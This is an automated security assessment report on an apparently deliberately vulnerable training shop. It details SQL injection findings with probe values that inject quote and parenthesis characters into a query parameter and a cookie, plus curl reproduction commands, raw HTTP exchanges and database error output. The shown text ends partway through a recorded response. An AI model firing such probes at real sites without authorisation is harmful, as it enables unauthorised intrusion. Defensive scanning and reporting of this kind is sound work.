https://sekumart.sekuripy.hr/ — security assessment

Summary

CRITICAL 13 vulnerability families · 31 confirmed locations
59 additional items require validation

3 weaknesses tie at critical: SQL injection, NoSQL injection, XPath injection. They are listed by how many locations each one touches, which is not the same as which to fix first - that follows from what the affected code can reach.

1	critical	SQL injection 8 locations	Parameterise database queries	details ↓
2	critical	NoSQL injection 1 location	Reject non-scalar parameters	details ↓
3	critical	XPath injection 1 location	Bind XPath variables	details ↓
4	high	Credential material returned to the client 1 location	Stop returning credential material, and re-hash with a password-hashing function	details ↓
5	medium	Page can be framed by any origin 18 locations	Send `Content-Security-Policy: frame-ancestors 'none'`	details ↓
6	medium	Cross-site scripting 6 locations	Encode on output for the context	details ↓
7	medium	Stored / second-order input 2 locations	Encode at the point of output	details ↓
8	medium	DOM-based scripting 1 location	Write untrusted values with textContent	details ↓
9	medium	Outdated platform 1 location	Confirm the running version, then update or backport	details ↓
10	low	Transport security 24 locations	Serve and require TLS everywhere	details ↓
11	low	Open redirect 1 location	Allow-list redirect destinations	details ↓
12	low	Session handling 1 location	Harden session cookie flags	details ↓
13	low	Weak cookie flags 1 location	Add HttpOnly and Secure	details ↓

by location: 13 critical 1 high 13 medium 4 low

Unauthenticated scan · 164 input surfaces · 14736 active probes · 6 observations · 137 clean results

Marker values were written to 4 persistent forms /cart.php, /challenges.php, /login.php, /reviews.php store what they are given. The values are inert strings, but they are visible to your users until removed.

Application security posture 12 of 12 areas assessed in this scan

F overall

Injection and Input Handling	F	27 findings, worst critical
Access Control	B	47 findings, worst medium
Authentication and Session Security	C	4 findings, worst high
Transport Security	B+	2 findings, worst low
Browser Security Controls	B	3 findings, worst medium
Cross-Origin Security	A	assessed, nothing found
Client-Side Supply Chain	B+	1 finding, worst low
File Handling	A	assessed, nothing found
API Surface	B	2 findings, worst medium
Information Exposure	B	4 findings, worst medium
Business Logic	B	2 findings, worst medium
Security Programme Hygiene	A-	1 finding, worst info

Grading starts at A and drops one step for the worst finding (info A-, low B+, medium B, high C, critical D). Three or more findings at that severity drop it one step further. Not assessed means no check for that area ran. It is not a clean bill of health.

Vulnerabilities 13 weaknesses, 31 affected locations

critical SQL injection 8 affected locations · /, /apiv1.php, /catalog.php, /category.php, /login.php, /product.php, …

What this can lead toDepending on the database account's privileges and the surrounding query, SQL injection can permit reading or modifying data the application never intended to expose, and in some deployments file or command access.

Fix, once, everywhereReplace the string-built query with a parameterised statement (prepared statement or bound parameters) so the value can never be parsed as SQL. Validating the input's format is worth doing as well, but it is not the fix on its own.

GET/category.php query string · cat confirmed · high confidence BL-001 critical

Evidence. Poisoning cat with quote/paren characters produced a MySQL error, so the value reaches the SQL parser.

Why this proves it. MySQL parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

or</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '')(" ORDER BY id'

How to fix. Replace the string-built query with a parameterised statement (prepared statement or bound parameters) so the value can never be parsed as SQL. Validating the input's format is worth doing as well, but it is not the fix on its own.

What we verified Input from this parameter reaches the SQL parser: the database either reported a syntax error on our value or evaluated a condition we supplied.

Assessment boundary: No data was extracted, no rows were modified and no privilege escalation was attempted.

How to fixReplace the string-built query with a parameterised statement (prepared statement or bound parameters) so the value can never be parsed as SQL. Validating the input's format is worth doing as well, but it is not the fix on its own.

location: GET https://sekumart.sekuripy.hr/category.php?cat=1%27%29%28%22
input: cat in the query string
authentication: none - reachable anonymously
classification: CWE-89 · WASC-19
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V1 OWASP WSTG 4.2WSTG-INPV-05 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

MySQL reported on the value we sent confirmed

or</b>: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '')(" ORDER BY id'

MySQL parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

Reproduce

baseline, untouched value GET https://sekumart.sekuripy.hr/category.php?cat=1 HTTP 200 4003 bytes
tampered value GET https://sekumart.sekuripy.hr/category.php?cat=1%27%29%28%22 HTTP 200 535 bytes

stability

curl -i -X GET 'https://sekumart.sekuripy.hr/category.php?cat=1'

GET /category.php?cat=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 4 recorded request/response pairs

baseline, untouched value HTTP 200 https://sekumart.sekuripy.hr/category.php?cat=1

request

GET /category.php?cat=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1651
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:53 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — Gadgets</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

stability HTTP 200 https://sekumart.sekuripy.hr/category.php?cat=1

request

GET /category.php?cat=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1651
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:53 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — Gadgets</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

tampered value HTTP 200 https://sekumart.sekuripy.hr/category.php?cat=1%27%29%28%22

request

GET /category.php?cat=1%27%29%28%22 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 339
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:53 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<br />
<b>Fatal error</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '')(" ORDER BY id' at line 1 in /var/www/html/source/category_low.php:3
Stack trace:
#0 /var/www/html/source/category_low.php(3): mysqli_query(Object(mysqli), 'SELECT id,name,...')
#1 /var/www/html/category.php(4): require('/var/www/html/s...')
#2 {main}
  thrown in <b>/var/www/html/source/category_low.php</b> on line <b>3</b><br />

tamper_literal HTTP 200 https://sekumart.sekuripy.hr/category.php?cat=1')("

request

GET /category.php?cat=1')(" HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
Cache-Control: no-store, no-cache, must-revalidate
Content-Length: 535
Content-Type: text/html; charset=UTF-8
Date: Thu, 17 Sep 2026 09:57:53 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache
Vary: Accept-Encoding
X-Powered-By: PHP/8.2.30
X-Robots-Tag: noindex, nofollow, noarchive
Connection: close

<br />
<b>Fatal error</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '')(" ORDER BY id' at line 1 in /var/www/html/source/category_low.php:3
Stack trace:
#0 /var/www/html/source/category_low.php(3): mysqli_query(Object(mysqli), 'SELECT id,name,...')
#1 /var/www/html/category.php(4): require('/var/www/html/s...')
#2 {main}
  thrown in <b>/var/www/html/source/category_low.php</b> on line <b>3</b><br />

Detection details — how this was found and rated

checks: injection/sqli
rating basis: P1 - server-side SQL injection: full read access to the data store, routinely full compromise
class: sqli injection

GET/ cookie · curr confirmed · high confidence BL-002 critical

Evidence. Poisoning curr with quote/paren characters produced a MySQL error, so the value reaches the SQL parser.

Why this proves it. MySQL parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

or</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '")'' at line 1 in

What we verified Input from this parameter reaches the SQL parser: the database either reported a syntax error on our value or evaluated a condition we supplied.

Assessment boundary: No data was extracted, no rows were modified and no privilege escalation was attempted.

location: GET https://sekumart.sekuripy.hr/
input: curr in the cookie
authentication: none - reachable anonymously
classification: CWE-89 · WASC-19
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V1 OWASP WSTG 4.2WSTG-INPV-05 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

MySQL reported on the value we sent confirmed

or</b>: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '")'' at line 1 in

MySQL parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

Reproduce

baseline, untouched value GET https://sekumart.sekuripy.hr/ HTTP 200 6335 bytes
tampered value GET https://sekumart.sekuripy.hr/ HTTP 200 3899 bytes

stability

curl -i -X GET 'https://sekumart.sekuripy.hr/' \
  -H 'Cookie: <your session here>'

GET / HTTP/1.1
Host: sekumart.sekuripy.hr
Cookie: PHPSESSID=8a0c5b1f14b0e49b3cec4675b01ced19; seclevel=low; curr=alpha

Raw exchanges — 3 recorded request/response pairs

baseline, untouched value HTTP 200 https://sekumart.sekuripy.hr/

request

GET / HTTP/1.1
Host: sekumart.sekuripy.hr
Cookie: PHPSESSID=8a0c5b1f14b0e49b3cec4675b01ced19; seclevel=low; curr=alpha

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2073
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:04:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.php'>All Prod

stability HTTP 200 https://sekumart.sekuripy.hr/

request

GET / HTTP/1.1
Host: sekumart.sekuripy.hr
Cookie: PHPSESSID=8a0c5b1f14b0e49b3cec4675b01ced19; seclevel=low; curr=alpha

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2073
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:04:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.php'>All Prod

tampered value HTTP 200 https://sekumart.sekuripy.hr/

request

GET / HTTP/1.1
Host: sekumart.sekuripy.hr
Cookie: PHPSESSID=8a0c5b1f14b0e49b3cec4675b01ced19; seclevel=low; curr=alpha('")

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1734
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:04:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.php'>All Prod

Detection details — how this was found and rated

checks: injection/sqli
rating basis: P1 - server-side SQL injection: full read access to the data store, routinely full compromise
class: sqli injection

GET/catalog.php cookie · curr confirmed · high confidence BL-003 critical

Evidence. Poisoning curr with quote/paren characters produced a MySQL error, so the value reaches the SQL parser.

Why this proves it. MySQL parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

or</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '"('' at line 1 in

What we verified Input from this parameter reaches the SQL parser: the database either reported a syntax error on our value or evaluated a condition we supplied.

Assessment boundary: No data was extracted, no rows were modified and no privilege escalation was attempted.

location: GET https://sekumart.sekuripy.hr/catalog.php
input: curr in the cookie
authentication: none - reachable anonymously
classification: CWE-89 · WASC-19
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V1 OWASP WSTG 4.2WSTG-INPV-05 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

MySQL reported on the value we sent confirmed

or</b>: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '"('' at line 1 in

MySQL parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

Reproduce

baseline, untouched value GET https://sekumart.sekuripy.hr/catalog.php HTTP 200 6542 bytes
tampered value GET https://sekumart.sekuripy.hr/catalog.php HTTP 200 3264 bytes

stability

curl -i -X GET 'https://sekumart.sekuripy.hr/catalog.php' \
  -H 'Cookie: <your session here>'

GET /catalog.php HTTP/1.1
Host: sekumart.sekuripy.hr
Cookie: PHPSESSID=8a0c5b1f14b0e49b3cec4675b01ced19; seclevel=low; curr=alpha

Raw exchanges — 3 recorded request/response pairs

baseline, untouched value HTTP 200 https://sekumart.sekuripy.hr/catalog.php

request

GET /catalog.php HTTP/1.1
Host: sekumart.sekuripy.hr
Cookie: PHPSESSID=8a0c5b1f14b0e49b3cec4675b01ced19; seclevel=low; curr=alpha

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:04:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

stability HTTP 200 https://sekumart.sekuripy.hr/catalog.php

request

GET /catalog.php HTTP/1.1
Host: sekumart.sekuripy.hr
Cookie: PHPSESSID=8a0c5b1f14b0e49b3cec4675b01ced19; seclevel=low; curr=alpha

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:04:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

tampered value HTTP 200 https://sekumart.sekuripy.hr/catalog.php

request

GET /catalog.php HTTP/1.1
Host: sekumart.sekuripy.hr
Cookie: PHPSESSID=8a0c5b1f14b0e49b3cec4675b01ced19; seclevel=low; curr=alpha)'"(

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1560
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:04:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

Detection details — how this was found and rated

checks: injection/sqli
rating basis: P1 - server-side SQL injection: full read access to the data store, routinely full compromise
class: sqli injection

GET/category.php cookie · curr confirmed · high confidence BL-004 critical

Evidence. Poisoning curr with quote/paren characters produced a MySQL error, so the value reaches the SQL parser.

Why this proves it. MySQL parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

or</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''alpha)"(''' at li

What we verified Input from this parameter reaches the SQL parser: the database either reported a syntax error on our value or evaluated a condition we supplied.

Assessment boundary: No data was extracted, no rows were modified and no privilege escalation was attempted.

location: GET https://sekumart.sekuripy.hr/category.php?cat=2
input: curr in the cookie
authentication: none - reachable anonymously
classification: CWE-89 · WASC-19
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V1 OWASP WSTG 4.2WSTG-INPV-05 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

MySQL reported on the value we sent confirmed

or</b>: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''alpha)"(''' at li

MySQL parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

Reproduce

baseline, untouched value GET https://sekumart.sekuripy.hr/category.php?cat=2 HTTP 200 3509 bytes
tampered value GET https://sekumart.sekuripy.hr/category.php?cat=2 HTTP 200 3117 bytes

stability

curl -i -X GET 'https://sekumart.sekuripy.hr/category.php?cat=2' \
  -H 'Cookie: <your session here>'

GET /category.php?cat=2 HTTP/1.1
Host: sekumart.sekuripy.hr
Cookie: PHPSESSID=8a0c5b1f14b0e49b3cec4675b01ced19; seclevel=low; curr=alpha

Raw exchanges — 3 recorded request/response pairs

baseline, untouched value HTTP 200 https://sekumart.sekuripy.hr/category.php?cat=2

request

GET /category.php?cat=2 HTTP/1.1
Host: sekumart.sekuripy.hr
Cookie: PHPSESSID=8a0c5b1f14b0e49b3cec4675b01ced19; seclevel=low; curr=alpha

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
